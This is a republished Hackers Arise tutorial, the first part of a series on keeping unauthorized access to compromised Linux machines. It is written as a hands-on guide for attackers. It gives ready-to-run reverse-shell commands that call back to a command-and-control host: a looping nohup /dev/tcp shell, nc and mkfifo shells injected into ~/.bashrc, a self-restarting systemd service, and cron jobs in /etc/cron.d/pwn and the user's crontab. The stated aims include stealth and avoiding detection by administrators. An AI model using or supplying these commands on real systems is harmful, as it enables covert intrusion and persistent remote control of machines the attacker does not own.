Basic persistence on Linux in a cyberwar covers the fundamental ways you can maintain access after compromise. Each offering different trade-offs in longevity and stealth.

The post Linux Persistence: Strategies for Survival in a Cyber War first appeared on Hackers Arise.

Hello aspiring cyberwarriors!

This module focuses entirely on persistence, the art of maintaining access to a compromised system. In previous modules we have touched on this subject in passing, but here we explore it in depth. Persistence is a critical stage of post-exploitation. Once it is lost, the target and all the effort invested in privilege escalation may be lost with it.

In this first part of our Linux persistence series, we’re going to walk through the basics by learning quick and reliable methods you can use to keep your foothold after the initial compromise. We’ll look at things like keeping a simple shell running in the background, hooking into a user’s shell startup so your code runs every time they log in, creating systemd services that bring your payload back to life if it ever dies, and setting up scheduled tasks that call home at precise intervals. These are the building blocks. They’re easy to deploy, work in most environments, and don’t always require admin rights but they come with trade-offs we’ll talk about along the way.

Think of this as the groundwork. Once you’ve got these nailed down, you’ll be ready for what’s coming in part two, where we’ll go deeper into stealth and resilience. That’s when we’ll get into in-memory persistence, configuration hijacking, LD_PRELOAD tricks, rc.local abuse, and even using gsocket to keep a covert lifeline into the target.

Since many reliable persistence methods require administrative privileges, it can present a challenge when you don’t have them. For this reason, techniques in this module will include both privileged (#) and non-privileged ($) examples, when possible.

Shell

A basic shell is the most elementary form of maintaining access after initial compromise. It requires no elevated privileges and will run under any user account, making it suitable in environments where administrative rights are unavailable. By running in the background with nohup, it remains active even if the launching terminal is closed. The infinite loop continuously attempts to establish a reverse shell to your server at controlled intervals (sleep 60), ensuring that if the connection is dropped for any reason, another attempt will follow after a defined pause rather than flooding the network with retries.

target$ > nohup bash ‐c "while :; do bash ‐i >& /dev/tcp/C2_IP/8888 0>&1; sleep 60; done" &

Pros: The controlled launch interval reduces noise and resource usage, and the method is compatible with any user account. It is quick to deploy and easy to customize.

Cons: It does not survive a system reboot. Once the machine is restarted, the process terminates and you must re-establish persistence by other means.

Autostart

Another persistence method builds on the basic shell concept by leveraging user-level autostart through the shell’s startup file. Here, you append a reverse shell command to the target user’s ~/.bashrc file. Each time that user opens a new shell session, whether through a local login, SSH connection, or terminal emulator the appended line executes automatically. In this case, nc connects back to our host on port 8888 and spawns /bin/bash, redirecting all errors to /dev/null to avoid visible error messages. Running the command in the background (&) ensures the shell prompt appears normally for the user, reducing suspicion.

target$ > echo "nc C2_IP 8888 ‐e /bin/bash 2>/dev/null &" >> ~/.bashrc

Another option would be:

target$ > echo ‘mkfifo /tmp/f; /bin/bash -i < /tmp/f 2>&1 | nc C2_IP 8888 > /tmp/f; rm /tmp/f’ >> ~/.bashrc

Pros: This approach survives reboots as long as the user account remains intact, and it works without administrative privileges. Any regular user account can be used to establish persistence.

Cons: The connection interval is uncontrolled and it only triggers when the user opens a new shell session. If the user rarely logs in or primarily uses graphical applications without invoking a terminal, you may experience long delays before regaining access.

This method is the first step toward persistence mechanisms that survive reboots.

Services

A more robust persistence method involves using a systemd service rather than relying on autostart scripts. The advantage of this approach is that the Service Manager actively maintains the process. If it terminates for any reason, systemd will automatically restart it according to the parameters defined in the service unit. This provides a self-healing mechanism that simple .bashrc or loop-based persistence cannot match. 

In Linux, services can be created for both privileged and non-privileged contexts. For root-level persistence, the service unit is placed in /etc/systemd/system/, while a regular user can create a user-level service in ~/.config/systemd/user/.

target#> nano /etc/systemd/system/persistence.service

target$> nano ~/.config/systemd/user/persistence.service

The ExecStart line defines the reverse shell connection. The Restart=always directive instructs systemd to relaunch the service if it stops, while RestartSec=60 sets the controlled delay between restart attempts. This gives you both persistence and an adjustable reconnection interval.

Once the service file is in place, it must be enabled and started:

target#> systemctl enable persistence.service

target#> systemctl start persistence.service

or

target$> systemctl ‐‐user enable persistence.service

target$> systemctl ‐‐user start persistence.service

Pros: Survives reboots, allows a controlled launch interval, and can work under any user account. The process will automatically restart if interrupted.

Cons: Requires administrative privileges for system-wide installation. Without root, it can still run as a user service but will be active only within that account’s session.

Scheduled Tasks

Scheduled tasks offer another effective way to maintain access, providing both persistence and precise control over execution timing. By using cron on Linux, you can specify the exact interval at which their payload runs, ensuring regular connection attempts without relying on user actions. This makes it particularly suited for environments where continuous presence is needed but the system is not always actively used.

A simple example for root-level persistence looks like this:

target# > echo $'SHELL=/bin/bash
* * * * * root bash ‐i >& /dev/tcp/C2_IP/9003 0>&1
'> /etc/cron.d/pwn

Here, a new cron job is created in /etc/cron.d/pwn with the shell explicitly set to /bin/bash. The schedule * * * * * instructs cron to run the command every minute, invoking a reverse shell back to your host. Redirecting the shell’s input and output over TCP enables full remote interaction, while placing the job in /etc/cron.d/ ensures it is registered at the system level and will persist across reboots.

If you’re working from a non-privileged account, you can use this approach:

target$> (crontab -l 2>/dev/null; echo "0 */10 * * * /home/user/.binary") | crontab -

This will run your binary every 10 hours. If you’re not sure how to create one yourself, check out our module on Sliver or Metasploit for guidance.

Pros: Survives reboots, offers a fully controlled execution interval, and guarantees regular connection attempts.

Cons: May require root privileges.

Compared to methods like .bashrc injection or basic shell loops, scheduled tasks offer both persistence and predictability. They are, however, more conspicuous in system configuration files, making them easier for a diligent administrator to detect during routine security checks.

Summary

In part one, we took a hands-on look at the simplest ways to stick around on a Linux system after you’ve gotten in. We started with a barebones shell loop, then moved into autostart via .bashrc, built out persistence with systemd services, and wrapped up with cron jobs for precise scheduling. We talked about what each method gives you, what it costs in terms of stealth and reliability, and when you might pick one over another.

These techniques won’t win any awards for sophistication, but they get the job done, and they work even when you’re stuck without root. Now that we’ve covered the essentials, we can turn our attention to part two, where we’ll move into more advanced ground: persistence that lives entirely in memory, abuses of config files, LD_PRELOAD injections, rc.local hooks, and gsocket-based backdoors. That’s where we start playing the long game.

The post Linux Persistence: Strategies for Survival in a Cyber War first appeared on Hackers Arise.

Source: HackersArise
Source Link: https://hackers-arise.com/linux-persistence-strategies-for-survival-in-a-cyber-war/